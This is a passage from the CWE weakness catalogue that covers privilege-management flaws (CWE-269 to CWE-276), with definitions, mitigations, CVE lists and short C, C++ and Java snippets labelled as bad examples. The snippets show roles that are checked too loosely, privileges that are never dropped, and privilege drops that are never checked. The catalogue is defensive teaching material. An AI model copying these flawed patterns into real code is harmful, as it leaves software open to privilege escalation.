```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2:

Evidence of privilege change:

Example Language: C *(bad)*

```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

Example Language: Java *(bad)*

```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
```

Example 3:

This code intends to allow only Administrators to print debug information about a system.

Example Language: Java *(bad)*

```
public enum Roles {
    ADMIN,USER,GUEST
}
public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
```

```
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those the with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Example 4:

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

Example Language: Java *(bad)*

```
public enum Roles {
    ADMIN,OPERATOR,USER,GUEST
}
public void resetPassword(User requestingUser, User user, String password ){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                setPassword(user,password);
                break;
            }
        }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

Observed Examples

Reference	Description
CVE-2001-1555	Terminal privileges are not reset when a user logs out. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1555*
CVE-2001-1514	Does not properly pass security context to child processes in certain cases, allows privilege escalation. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1514*
CVE-2001-0128	Does not properly compute roles. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0128*
CVE-1999-1193	untrusted user placed in unix "wheel" group *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1193*

Reference	Description
CVE-2005-2741	Product allows users to grant themselves certain rights that can be used to escalate privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2741*
CVE-2005-2496	Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2496*
CVE-2004-0274	Product mistakenly assigns a particular status to an entity, leading to increased privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0274*
CVE-2007-4217	FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4217*
CVE-2007-5159	OS incorrectly installs a program with setuid privileges, allowing users to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5159*
CVE-2008-4638	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638*
CVE-2007-3931	Installation script installs some programs as setuid when they shouldn't be. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3931*
CVE-2002-1981	Roles have access to dangerous procedures (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1981*
CVE-2002-1671	Untrusted object/method gets access to clipboard (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1671*
CVE-2000-0315	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0315*
CVE-2000-0506	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0506*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Management Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
58	Restful Privilege Elevation
122	Privilege Abuse
233	Privilege Escalation

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-270: Privilege Context Switching Error

Weakness ID : 270 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	589

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Observed Examples

Reference	Description
CVE-2002-1688	Web browser cross domain problem when user hits "back" button. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1688*
CVE-2003-1026	Web browser cross domain problem when user hits "back" button. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1026*
CVE-2002-1770	Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1770*
CVE-2005-2263	Run callback in different security context after it has been changed from untrusted to trusted. * note that "context switch before actions are completed" is one type of problem that happens frequently, espec. in browsers. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2263*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Notes

Research Gap

This concept needs more study.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Context Switching Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files
30	Hijacking a Privileged Thread of Execution

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
236	Catching exception throw/signal from privileged block

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

CWE-271: Privilege Dropping / Lowering Errors

Weakness ID : 271 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.

Extended Description

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	269	Improper Privilege Management	589
ParentOf	B	272	Least Privilege Violation	598
ParentOf	B	273	Improper Check for Dropped Privileges	601
PeerOf	B	274	Improper Handling of Insufficient Privileges	604

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.	
Access Control Non-Repudiation	Gain Privileges or Assume Identity Hide Activities *If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Demonstrative Examples

Example 1:

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

Example Language: C *(bad)*

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Observed Examples

Reference	Description
CVE-2000-1213	Program does not drop privileges after acquiring the raw socket. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1213*
CVE-2001-0559	Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0559*
CVE-2001-0787	Does not drop privileges in related groups when lowering privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0787*
CVE-2002-0080	Does not drop privileges in related groups when lowering privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080*
CVE-2001-1029	Does not drop privileges before determining access to certain files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1029*
CVE-1999-0813	Finger daemon does not drop privileges when executing programs on behalf of the user being fingered. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0813*
CVE-1999-1326	FTP server does not drop privileges if a connection is aborted during file transfer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1326*
CVE-2000-0172	Program only uses seteuid to drop privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0172*
CVE-2004-2504	Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2504*
CVE-2004-0213	Utility Manager launches winhlp32.exe while running with raised privileges, which allows local users to gain system privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0213*
CVE-2004-0806	Setuid program does not drop privileges before executing program specified in an environment variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0806*
CVE-2004-0828	Setuid program does not drop privileges before processing file specified on command line. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0828*
CVE-2004-2070	Service on Windows does not drop privileges before using "view file" option, allowing code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2070*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Notes

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Dropping / Lowering Errors

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-272: Least Privilege Violation

Weakness ID : 272 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		271	Privilege Dropping / Lowering Errors	595

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality	Gain Privileges or Assume Identity Read Application Data Read Files or Directories *An attacker may be able to access resources with the elevated privilege that could not be accessed with the attacker's original privileges. This is particularly likely in conjunction with another flaw, such as a buffer overflow.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Compare binary / bytecode to application permission manifest

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should

rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
setuid(0);
// Do some important stuff
setuid(old_uid);
// Do some non privileged stuff.
```

Example Language: Java *(bad)*

```
method() {
   AccessController.doPrivileged(new PrivilegedAction()) {
      public Object run() {
         // Insert all code here
      }
   };
}
```

Example 2:

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

Example Language: C *(bad)*

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Nature	Type	ID	Name	V	Page
MemberOf	C	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	1133	1991

Notes

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

Other

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically. When a program calls a privileged function, such as chroot(), it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Least Privilege Violation
CLASP			Failure to drop privileges when reasonable
CERT C Secure Coding	POS02-C		Follow the principle of least privilege
The CERT Oracle Secure Coding Standard for Java (2011)	SEC00-J		Do not allow privileged blocks to leak sensitive information across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)	SEC01-J		Do not allow tainted variables in privileged blocks
Software Fault Patterns	SFP36		Privilege

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files
35	Leverage Executable Code in Non-Executable Files
76	Manipulating Web Input to File System Calls

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-273: Improper Check for Dropped Privileges

Weakness ID : 273 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	271	Privilege Dropping / Lowering Errors	595
ChildOf	C	754	Improper Check for Unusual or Exceptional Conditions	1381
PeerOf	B	252	Unchecked Return Value	553

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	754	Improper Check for Unusual or Exceptional Conditions	1381

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.*	
Access Control Non-Repudiation	Gain Privileges or Assume Identity Hide Activities	

Scope	Impact	Likelihood
	If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness = High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

In Windows, make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

Demonstrative Examples

Example 1:

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:

Example Language: C++ *(bad)*

```
bool DoSecureStuff(HANDLE hPipe) {
    bool fDataWritten = false;
    ImpersonateNamedPipeClient(hPipe);
    HANDLE hFile = CreateFile(...);
    /../
    RevertToSelf()
    /../
}
```

The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails, the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location that the attacker does not have access to.

Observed Examples

Reference	Description
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447*

Reference	Description
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to check whether privileges were dropped successfully
CERT C Secure Coding	POS37-C	Exact	Ensure that privilege relinquishment is successful
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-274: Improper Handling of Insufficient Privileges

Weakness ID : 274 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	269	Improper Privilege Management	589
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
PeerOf	C	271	Privilege Dropping / Lowering Errors	595

Nature	Type	ID	Name	Page
CanAlsoBe	B	280	Improper Handling of Insufficient Permissions or Privileges	613

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

Observed Examples

Reference	Description
CVE-2001-1564	System limits are not properly enforced after privileges are dropped. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1564*
CVE-2005-3286	Firewall crashes when it can't read a critical memory block that was protected by a malicious process. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3286*
CVE-2005-1641	Does not give admin sufficient privileges to overcome otherwise legitimate user actions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1641*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Notes

Relationship

Overlaps dropped privileges, insufficient permissions.

Relationship

This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

Maintenance

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor

(and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient privileges

CWE-276: Incorrect Default Permissions

Weakness ID : 276 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product, upon installation, sets incorrect permissions for an object that exposes it to an unintended actor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	732	Incorrect Permission Assignment for Critical Resource	1367

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	B	732	Incorrect Permission Assignment for Critical Resource	1367

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Host Application Interface Scanner Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

